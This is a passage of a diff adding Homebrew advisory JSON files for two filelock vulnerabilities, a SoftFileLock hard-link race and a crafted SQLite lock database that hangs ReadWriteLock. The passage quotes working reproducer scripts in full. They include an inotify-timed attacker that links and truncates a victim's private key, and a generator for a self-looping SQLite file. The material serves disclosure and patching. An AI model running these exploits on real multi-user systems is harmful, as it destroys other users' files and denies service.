reads it and `owner_is_stale()` agrees, so `break_lock_file()` renames it to `app.lock.break..`. In a directory without the sticky bit the lock user may rename a file it does not own.\n2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.\n3. The other user renames a symbolic link to the lock user's private file over the break name.\n4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.\n\nThe other user's own `os.link()` on the private file fails with `EACCES` (it cannot enter the `0700` directory). On a file of the lock user it can reach, `fs.protected_hardlinks=1` answers `EPERM` (operation not permitted). The lock user would evict the odd \"marker\" after `MALFORMED_LOCK_AGE_THRESHOLD` (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the `lstat` on line 113 and the one on line 117 (half of it the `rename`), and about 2 µs between line 117 and the `os.link()` call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-SB29HIAL`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nsys.stdout.reconfigure(line_buffering=True)\n\nSHARED_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = SHARED_DIR + \"/app.lock\"\nPRIVATE_DIR = \"/home/victim/private\"\nKEY_PATH = PRIVATE_DIR + \"/signing.key\"\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n# strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before\n# linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).\nSLOWED_DOWN = [\"strace\", \"-o\", \"/dev/null\", \"-P\", LOCK_PATH, \"-e\", \"trace=rename,linkat\"]\nSLOWED_DOWN += [\"-e\", \"inject=rename:delay_exit=2000000\", \"-e\", \"inject=linkat:delay_enter=2000000\"]\n\n# set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit\nshutil.rmtree(PRIVATE_DIR, ignore_errors=True)\nos.mkdir(PRIVATE_DIR, 0o700)\nwith open(KEY_PATH, \"w\") as key_file:\n key_file.write(\"0123456789abcdef\\n\")\nos.chmod(KEY_PATH, 0o600)\nshutil.chown(PRIVATE_DIR, \"victim\", \"victim\")\nshutil.chown(KEY_PATH, \"victim\", \"victim\")\nshutil.rmtree(SHARED_DIR, ignore_errors=True)\nos.mkdir(SHARED_DIR)\nos.chmod(SHARED_DIR, 0o777)\nkey_before = os.stat(KEY_PATH)\nprint(f\"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}\")\nfor knob in (\"protected_hardlinks\", \"protected_symlinks\"):\n print(f\"fs.{knob} =\", open(f\"/proc/sys/fs/{knob}\").read().strip())\n\n# control: the attacker cannot give the key a name in the shared directory by itself\nlink_by_attacker = f\"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})\"\ncontrol = subprocess.run([sys.executable, \"-c\", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)\nprint(\"CONTROL the attacker's own link() of the key:\", control.stderr.strip().splitlines()[-1])\n\n# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_stale_marker.py\", LOCK_PATH], check=True, **AS_ATTACKER)\nattacker = subprocess.Popen([sys.executable, \"/tmp/repro.d/swap_break_name.py\", LOCK_PATH, KEY_PATH], **AS_ATTACKER)\nvictim_job = [*SLOWED_DOWN, sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH]\nsubprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)\nassert attacker.wait(timeout=30) == 0, \"the attacker did not get through its steps\"\n\n# check, as root: does the key now have a name in the shared directory?\nkey_after = os.stat(KEY_PATH)\nnames_of_the_key = [\n name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f\"{SHARED_DIR}/{name}\"))\n]\nprint(f\"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}\")\n\nif names_of_the_key:\n # what that name is good for: another program of the victim takes a FileLock there, which truncates the file\n shared_name = f\"{SHARED_DIR}/{names_of_the_key[0]}\"\n victim_other_job = [sys.executable, \"/tmp/repro.d/victim_other_job.py\", shared_name]\n subprocess.run(victim_other_job, check=True, timeout=60, **AS_VICTIM)\n print(f\"OBSERVED {KEY_PATH}: size={os.stat(KEY_PATH).st_size} after the victim's FileLock({shared_name!r})\")\n\nprint(\"BUG\" if control.returncode != 0 and names_of_the_key else \"OK\")\n```\n\n**`repro.d/plant_stale_marker.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import SoftFileLock\n\n# a genuine marker of a holder that died: a child takes the lock and exits without releasing it\nif (child := os.fork()) == 0:\n holder = SoftFileLock(sys.argv[1]) # kept referenced: a collected lock releases itself\n holder.acquire()\n os._exit(0)\nos.waitpid(child, 0)\nprint(\"attacker: left\", sys.argv[1], \"held by pid\", child, \"which has exited\", flush=True)\n```\n\n**`repro.d/swap_break_name.py`**\n\n```python\nimport glob\nimport os\nimport sys\nimport time\n\nlock_path, key_path = sys.argv[1:]\nkept_path = os.path.join(os.path.dirname(lock_path), \"other.lock\")\n\n# the victim judged the marker stale and renamed it to .break..; anyone can list the directory\ndeadline = time.monotonic() + 30\nwhile not (break_paths := glob.glob(lock_path + \".break.*\")):\n assert time.monotonic() < deadline, \"the victim never moved the marker aside\"\n time.sleep(0.01)\n[break_path] = break_paths\nprint(\"attacker: the victim renamed the marker to\", os.path.basename(break_path), flush=True)\n\n# still the attacker's file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore it\nos.utime(break_path)\n\ntime.sleep(3) # repro holds the victim 2 s before its lstat of the break name and 2 s more before its link\nos.symlink(key_path, lock_path + \".symlink\")\nos.rename(lock_path + \".symlink\", break_path)\nprint(\"attacker: replaced\", os.path.basename(break_path), \"with a symlink to\", key_path, flush=True)\n\n# the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another name\ndeadline = time.monotonic() + 5\nwhile not os.path.lexists(lock_path) and time.monotonic() < deadline:\n time.sleep(0.01)\ntry:\n os.rename(lock_path, kept_path)\n print(\"attacker: renamed\", os.path.basename(lock_path), \"to\", kept_path, flush=True)\nexcept FileNotFoundError:\n print(\"attacker: the victim linked nothing at\", os.path.basename(lock_path), flush=True)\n```\n\n**`repro.d/unpaused_attacker.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: the two steps of swap_break_name.py, timed by inotify against a victim that nobody pauses.\"\"\"\nimport ctypes\nimport os\nimport random\nimport struct\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, victim_file, kept_name = sys.argv[1:]\nos.chdir(os.path.dirname(lock_path))\nlock_name = os.path.basename(lock_path).encode()\nIN_NONBLOCK, IN_CLOSE_NOWRITE, IN_MOVED_TO = 0o4000, 0x10, 0x80\n\n\ndef spin(microseconds):\n until = time.perf_counter() + microseconds / 1e6\n while time.perf_counter() < until:\n pass\n\n\n# The bytes of a genuine marker of a dead process.\nif os.fork() == 0:\n crashed_holder = SoftFileLock(lock_path)\n crashed_holder.acquire()\n os._exit(0)\nos.wait()\nwith open(lock_name, \"rb\") as marker_file:\n stale_marker = marker_file.read()\nos.unlink(lock_name)\n\nlibc = ctypes.CDLL(None)\ninotify = libc.inotify_init1(IN_NONBLOCK)\nlibc.inotify_add_watch(inotify, b\".\", IN_MOVED_TO)\nmarker_mtime = 1_000_000_000\nlock_cycles = 0\nwhile True:\n lock_cycles += 1\n os.symlink(victim_file, b\"symlink\")\n marker = os.open(b\"staged\", os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n os.write(marker, stale_marker)\n os.utime(marker, (marker_mtime, marker_mtime))\n marker_watch = libc.inotify_add_watch(inotify, b\"staged\", IN_CLOSE_NOWRITE)\n while True: # plant it as soon as the victim has released the lock\n try:\n os.link(b\"staged\", lock_name)\n break\n except FileExistsError:\n pass\n os.unlink(b\"staged\")\n\n break_name = None\n while break_name is None:\n try:\n events = os.read(inotify, 4096)\n except BlockingIOError:\n continue\n while events and break_name is None:\n _, mask, _, name_length = struct.unpack_from(\"iIII\", events)\n name = events[16 : 16 + name_length].rstrip(b\"\\0\")\n events = events[16 + name_length :]\n if mask & IN_CLOSE_NOWRITE:\n # The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes\n # before that lstat only makes the victim start over on its next poll.\n spin(random.uniform(40, 100))\n marker_mtime += 1\n os.utime(marker, (marker_mtime, marker_mtime))\n elif name.startswith(lock_name + b\".break.\"):\n # The victim has renamed the marker and is about to lstat the break name and link it back.\n os.rename(b\"symlink\", name)\n break_name = name\n libc.inotify_rm_watch(inotify, marker_watch)\n os.close(marker)\n\n time.sleep(0.001)\n try:\n at_lock_path = os.lstat(lock_name)\n if at_lock_path.st_uid != os.getuid() and at_lock_path.st_nlink == 2:\n os.rename(lock_name, kept_name)\n print(f\"after {lock_cycles} lock cycles the victim linked its file here as {kept_name!r}:\", at_lock_path)\n break\n except FileNotFoundError:\n pass\n for leftover in (b\"symlink\", break_name):\n if os.path.lexists(leftover):\n os.unlink(leftover)\n try:\n os.read(inotify, 65536)\n except BlockingIOError:\n pass\n```\n\n**`repro.d/unpaused_victim.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody.\"\"\"\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock = SoftFileLock(sys.argv[1])\nwhile True:\n with lock:\n time.sleep(0.005)\n time.sleep(0.005)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftFileLock\n\nwith SoftFileLock(sys.argv[1]):\n print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n**`repro.d/victim_other_job.py`**\n\n```python\nimport sys\n\nfrom filelock import FileLock\n\nwith FileLock(sys.argv[1]):\n print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant X as other local user (uid 1001)\n participant D as /tmp/shared-locks (0777, not sticky)\n participant V as SoftFileLock of the lock user (uid 1000)\n participant K as ~victim/private/signing.key (0600 in a 0700 dir)\n X->>D: child takes app.lock and _exit()s: dead-holder marker owned by X\n V->>D: read marker, owner_is_stale, lstat ok: rename app.lock to app.lock.break.*\n rect rgb(255, 214, 214)\n X->>D: inotify sees the rename: utime the break file (newer mtime)\n V->>D: lstat break name: mtime newer, S_ISREG: treat as a recreated live marker\n X->>D: rename a symbolic link to signing.key over the break name\n V->>K: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file\n X->>D: rename app.lock to other.lock before the 2 s eviction\n Note over V,K: the lock user's FileLock(\"other.lock\") on 4.2.0 truncates the file to 0 bytes\n end\n```\n\n## Evidence\n\nThe scanner's reproducer takes about 5 s and is deterministic. Root creates `/home/victim/private` (`0700`) with `signing.key` (17 bytes, `0600`) and `/tmp/shared-locks` (`0777`, no sticky bit), with `fs.protected_hardlinks = 1` and `fs.protected_symlinks = 1`. In the control step, the `attacker` account runs `os.link(key, /tmp/shared-locks/by-attacker)` and gets `Permission denied`. Then the `attacker` child leaves `app.lock held by pid 253 which has exited`. The `victim` account runs `with SoftFileLock(path)` under `strace -P ... -e inject=rename:delay_exit=2000000 -e inject=linkat:delay_enter=2000000`, which holds it 2 s after its `rename()` and 2 s before its `linkat()` without changing any call. The `attacker` account bumps the break file, swaps in the symbolic link, and renames `app.lock` to `other.lock`.\n\nThe result line reads `signing.key: links=2, names in /tmp/shared-locks with its inode: ['other.lock']`, and after the `victim` account's second program takes `FileLock('/tmp/shared-locks/other.lock')`, `size=0`. Verdict `BUG`. The unpaused variant (`unpaused_victim.py` looping on the lock, `unpaused_attacker.py` timing both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).\n\nOur review: BUG on 4.2.0 (triage), OK on the head of #843. On macOS 27.0.1 (CPython 3.13.16) a plain `os.link` of a symbolic link follows it (target `st_nlink` 2) while `follow_symlinks=False` links the symbolic link itself, which confirms the report's macOS note.\n\n## Impact\n\nA local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user's own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what `fs.protected_hardlinks` exists to deny, a name it can move around for someone else's file.\n\nWhatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself. `UnixFileLock._finalize_locked_fd()` ran `os.ftruncate(fd, 0)` on whatever regular file `O_NOFOLLOW` let it open. The other user moved the link to `other.lock`, the lock user took `FileLock(\"other.lock\")`, and the 17-byte private file became 0 bytes. The other user can also move the link into sticky `/tmp` on the same filesystem before the lock user locks it there, and a `FileLock` with a permissive `mode` such as `0o666` applied that mode to the private file too, after which the other user could write its content.\n\nOn its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.\n\n## Workarounds\n\nKeep soft locks out of directories other users can write without the sticky bit; a `0700` directory of the lock's user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a native `FileLock` on a name another user controls.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SB29HIAL`, scanned commit b831496b0273; related earlier-public work: #786)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-crv4-6mhj-j5jh" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112914" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/843" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112915.json b/advisories/BREW-virtualenv-CVE-2026-112915.json new file mode 100644 index 00000000000..904122b5733 --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112915.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112915", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-cwqr-hh33-gh44", + "CVE-2026-112915" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "20.37.0" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock ReadWriteLock: a crafted lock database makes every acquire stall or hang regardless of timeout", + "details": "`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) run `PRAGMA journal_mode=MEMORY` on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the `sqlite_master` table, which lists every table and index with its `CREATE` text) of whatever file sits at the lock path. The caller's `timeout` reaches SQLite only as `busy_timeout`, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a `ReadWriteLock`'s database path can therefore make every `acquire_read` / `acquire_write` of every process using that lock ignore its `timeout` and `blocking=False`. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write.\n\nOne 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-NFPRHMYJ` [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` scores 5.5 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `AC:L` (low attack complexity): the other user plants one file; no race. `UI:N` (no user interaction). `A:H` (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with `timeout` and `blocking=False` ignored and `SIGINT` not delivered, so only killing the process ends it. `C:N` and `I:N` (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. `S:U` (scope unchanged).\n\nClassification from the external review: **conditional security**, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (`0666`), which is the setup a lock shared between accounts needs. In a `1777` directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is `0666`.\n- Sticky directories and kernel settings. In a sticky world-writable directory such as `/tmp`, Linux with `fs.protected_regular=2` (a kernel setting) refuses the lock user's `O_CREAT` open of a file owned by the other account with `EACCES`. A database owned by the other user does not work there. That does not cover a `0666` database owned by the lock user. The scanner did not test systems with `fs.protected_regular=0` (the kernel's own default).\n- Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_configure_and_begin` runs `PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` on a fresh connection](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L814-L816), and for a read lock [`SELECT name FROM sqlite_master LIMIT 1` at line 832](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L832). The code in [`_do_acquire_inner` closes the previous connection and opens a new one on every acquire](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L745-L754). The only content checks are [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) (regular file) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) (20 header bytes).\n\n## Introduced\n\nThe acquire path dates from `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\", 2026-02-12), first released in **3.20.4** (verified: `git tag --contains cfd4446` gives 3.20.4). Since #657 (3.30.0) the lock reopens the connection on every acquire, so the stall repeats on every acquire rather than once per instance.\n\n## Mechanism\n\n`PRAGMA journal_mode=MEMORY` is the first statement that needs the schema. SQLite reads every row of `sqlite_master` and parses each row's `sql` text there. Run one at a time on the crafted file, `PRAGMA busy_timeout` returns at once and `PRAGMA journal_mode=MEMORY` takes the whole time. The read-mode `SELECT` needs the schema too. The caller's `timeout` reaches SQLite only as `busy_timeout` (lines 814 to 816 and 823 to 826), which limits how long SQLite waits for another connection's file lock. Loading the schema is not a wait, so nothing limits it. `blocking=False` and `timeout=0` reach SQLite as `busy_timeout=0` and stall the same way (2.4 s each with a 5-row file). `acquire_write` runs the same pragma. `AsyncReadWriteLock.read_lock(timeout=1)` stalls the same way (4.7 s with 10 rows; wrapping the acquire in `asyncio.wait_for(..., 2)` does not return earlier). A second `acquire_read` on the same instance stalls for as long as the first.\n\nThe constructor is not affected. Its validation connection (lines 484 and 485) runs no statement, so the lock user sees nothing until the first acquire. A stack dump taken 2 s into the stall shows the thread in `_configure_and_begin` at the `executescript` call. The lock accepts any SQLite file that is a regular file and not in WAL mode, whoever created it. Two layouts reach the load, at the same statement and with the same preconditions.\n\n**Long schema rows.** Each `sqlite_master` row is `('table', 't0001', 't0001', 2, 'CREATE TABLE t0001(x) --AAAA…')` with an `sql` text of 999,999,024 bytes, under SQLite's 1,000,000,000-byte limit. The file does not store the text. Each row's cell names page 2 as its first overflow page (a page that holds the part of a row too large for its own page), and the \"next overflow page\" field of page 2 names page 2 again. SQLite builds each row from the same 4 KB page, read about 244,000 times over. The header claims 244,142 pages, because SQLite rejects a record larger than page size times page count. The script extends the file to that length as a hole (unallocated space that reads as zeros), because SQLite also rejects a file shorter than its header claims. Eight rows fit in one 4 KB leaf page. The statements are valid `CREATE TABLE`s, so SQLite reports no error, and after the stall the acquire succeeds; it does not raise `Timeout`.\n\nMeasured with `read_lock(timeout=1)`: 1 row, 12,288 bytes on disk, returns after 0.6 s; 10 rows, 16,384 bytes, 4.8 s; 50 rows, 36,864 bytes, 23 s. Peak RSS (resident set size, the memory the process holds) is 981 MB in every case, because memory stays at one row's worth; the cost is about 0.47 s per row. Under a 512 MiB address-space limit the same acquire raises `MemoryError` from line 816.\n\n**Looping interior pages.** The long rows are one way in, not the cause: SQLite loads whatever schema the file holds, with no bound. A 20 KB file with no long rows, whose three index pages each point 200 times at the same child page (8,000,000 leaves), stalls `read_lock(timeout=1)` for 8 s with 10 MB of memory. Each extra level multiplies the time by the fan-out (the number of children per page).\n\nAt the largest fan-out SQLite accepts, the stall becomes a hang. In a 28,672-byte file of seven 4 KB pages, pages 1 to 6 are `sqlite_master` interior pages whose 660 cell pointers all name one 5-byte cell. That cell's child and the page's right-most child are both the next page, and page 7 is a leaf with one row of five NULLs. SQLite 3.40.1 refuses a page with more than 681 cells and a tree deeper than 20 pages, but does not notice that it reaches a page more than once. Each level therefore multiplies the rows of `sqlite_master` by 661.\n\nThe row is not a valid schema entry, and that does not stop the scan: SQLite raises `sqlite3.DatabaseError: malformed database schema (?)` only after the last row. One level raises `DatabaseError` at once. Two levels (12 KiB) give 436,921 rows after 0.16 s. Six levels (28 KiB) give 661⁶, about 8 × 10¹⁶ rows, still at line 816 with 30 s of CPU time used when killed after 30 s. On that file `acquire_write(timeout=1)`, `acquire_read(blocking=False)` and `acquire_read(timeout=0)` spin on the same line. `SIGINT` does not raise `KeyboardInterrupt` (the process was still running at 100% CPU 4 s after `kill -INT`), because the thread does not leave the one SQLite call.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-NFPRHMYJ`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport resource\nimport shutil\nimport subprocess\nimport sys\nimport time\n\n# set up: a cache directory both accounts can write, without the sticky bit\nshared_dir = \"/tmp/shared-cache\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\nlock_db = f\"{shared_dir}/cache.lock.db\"\n\n# attack: the attacker creates the lock database first, with 50 schema rows\nsubprocess.run(\n [sys.executable, \"/tmp/repro.d/make_stalling_db.py\", lock_db, \"50\"],\n user=\"attacker\", group=\"attacker\", extra_groups=[], check=True,\n)\nprint(\"lock database uses\", os.stat(lock_db).st_blocks * 512, \"bytes of disk\", flush=True)\n\n# victim: an application takes the read lock with a one-second timeout\nstarted = time.monotonic()\nsubprocess.run(\n [sys.executable, \"/tmp/repro.d/victim_reader.py\", lock_db],\n user=\"victim\", group=\"victim\", extra_groups=[], timeout=600,\n)\nvictim_ran_for = time.monotonic() - started\n\n# check: with timeout=1 the victim must be done within about a second, either holding the lock or with Timeout\nvictim_peak_rss_mb = resource.getrusage(resource.RUSAGE_CHILDREN).ru_maxrss // 1024 # the victim is the largest child\nprint(f\"victim process ran for {victim_ran_for:.1f} s, peak RSS {victim_peak_rss_mb} MB\")\nprint(\"BUG\" if victim_ran_for > 10 else \"OK\")\n```\n\n**`repro.d/make_stalling_db.py`**\n\n```python\n#!/usr/bin/env python3\n# usage: make_stalling_db.py \n#\n# Writes a SQLite database whose sqlite_master rows each carry ~1 GB of `sql` text, stored in a few 4 KB pages:\n# every row's text continues on one overflow page whose \"next overflow page\" field names itself.\nimport os\nimport struct\nimport sys\n\ndatabase, schema_rows = sys.argv[1], int(sys.argv[2])\n\nPAGE_SIZE = 4096\nLOOP_PAGE = 2\nCOMMENT_LEN = 999_999_000 # keeps each sql text just under SQLite's 1,000,000,000-byte string limit\nCLAIMED_PAGES = COMMENT_LEN // PAGE_SIZE + 2 # SQLite refuses a record longer than page size x pages in the file\nTABLE_INTERIOR_PAGE, TABLE_LEAF_PAGE = 0x05, 0x0D\n\n\ndef varint(value):\n groups = [value & 0x7F]\n while value := value >> 7:\n groups.insert(0, value & 0x7F | 0x80)\n return bytes(groups)\n\n\ndef schema_row_cell(rowid):\n # the row ('table', name, name, 2, 'CREATE TABLE name(x) --AAAA...'): a valid statement, so SQLite reports no error\n name = b\"t%04d\" % rowid\n sql_start = b\"CREATE TABLE \" + name + b\"(x) --\"\n sql_len = len(sql_start) + COMMENT_LEN\n serial_types = b\"\".join(varint(t) for t in [13 + 2 * 5, 13 + 2 * len(name), 13 + 2 * len(name), 1, 13 + 2 * sql_len])\n record_start = varint(1 + len(serial_types)) + serial_types + b\"table\" + name + name + b\"\\x02\" + sql_start\n record_len = len(record_start) + COMMENT_LEN\n # the file format's rule for how much of an overflowing table-leaf record stays on the leaf page\n min_local, max_local = (PAGE_SIZE - 12) * 32 // 255 - 23, PAGE_SIZE - 35\n local = min_local + (record_len - min_local) % (PAGE_SIZE - 4)\n if local > max_local:\n local = min_local\n return varint(record_len) + varint(rowid) + record_start.ljust(local, b\"A\") + struct.pack(\">I\", LOOP_PAGE)\n\n\ndef btree_page(page_type, cells, right_child=b\"\", header_offset=0):\n page = bytearray(PAGE_SIZE)\n content_start = PAGE_SIZE\n cell_pointers = b\"\"\n for cell in cells:\n content_start -= len(cell)\n page[content_start : content_start + len(cell)] = cell\n cell_pointers += struct.pack(\">H\", content_start)\n header = struct.pack(\">BHHHB\", page_type, 0, len(cells), content_start, 0) + right_child + cell_pointers\n page[header_offset : header_offset + len(header)] = header\n return page\n\n\n# pages 3 and up: the leaves of sqlite_master, about eight rows each\ncells = [schema_row_cell(rowid) for rowid in range(1, schema_rows + 1)]\nrows_per_leaf = (PAGE_SIZE - 8) // (len(cells[0]) + 2)\nleaves = [btree_page(TABLE_LEAF_PAGE, cells[i : i + rows_per_leaf]) for i in range(0, schema_rows, rows_per_leaf)]\n\n# page 2: the overflow page, pointing at itself, then 4092 bytes of comment text\nloop_page = struct.pack(\">I\", LOOP_PAGE) + b\"A\" * (PAGE_SIZE - 4)\n\n# page 1: the database header, then the root of sqlite_master with one child per leaf\nfirst_leaf, last_leaf = 3, 3 + len(leaves) - 1\nchildren = [struct.pack(\">I\", first_leaf + i) + varint((i + 1) * rows_per_leaf) for i in range(len(leaves) - 1)]\nroot_page = btree_page(TABLE_INTERIOR_PAGE, children, right_child=struct.pack(\">I\", last_leaf), header_offset=100)\nroot_page[:100] = b\"\".join([\n b\"SQLite format 3\\0\",\n struct.pack(\">H\", PAGE_SIZE),\n bytes([1, 1]), # file format versions: rollback journal, not WAL (which ReadWriteLock refuses)\n bytes([0, 64, 32, 32]), # reserved bytes per page and the three fixed payload fractions\n struct.pack(\">I\", 1), # file change counter\n struct.pack(\">I\", CLAIMED_PAGES), # database size in pages\n struct.pack(\">II\", 0, 0), # no freelist\n struct.pack(\">II\", 1, 4), # schema cookie, schema format\n struct.pack(\">II\", 0, 0), # default cache size, no auto-vacuum\n struct.pack(\">I\", 1), # text encoding: UTF-8\n struct.pack(\">III\", 0, 0, 0), # user version, incremental vacuum, application id\n bytes(20),\n struct.pack(\">I\", 1), # version-valid-for equals the change counter, so SQLite trusts the page count above\n struct.pack(\">I\", 3040001), # SQLite version that wrote the file\n])\n\nwith open(database, \"wb\") as file:\n file.write(root_page + loop_page + b\"\".join(leaves))\n written = file.tell()\n file.truncate(CLAIMED_PAGES * PAGE_SIZE) # SQLite also refuses a file shorter than it claims; this stays a hole\nos.chmod(database, 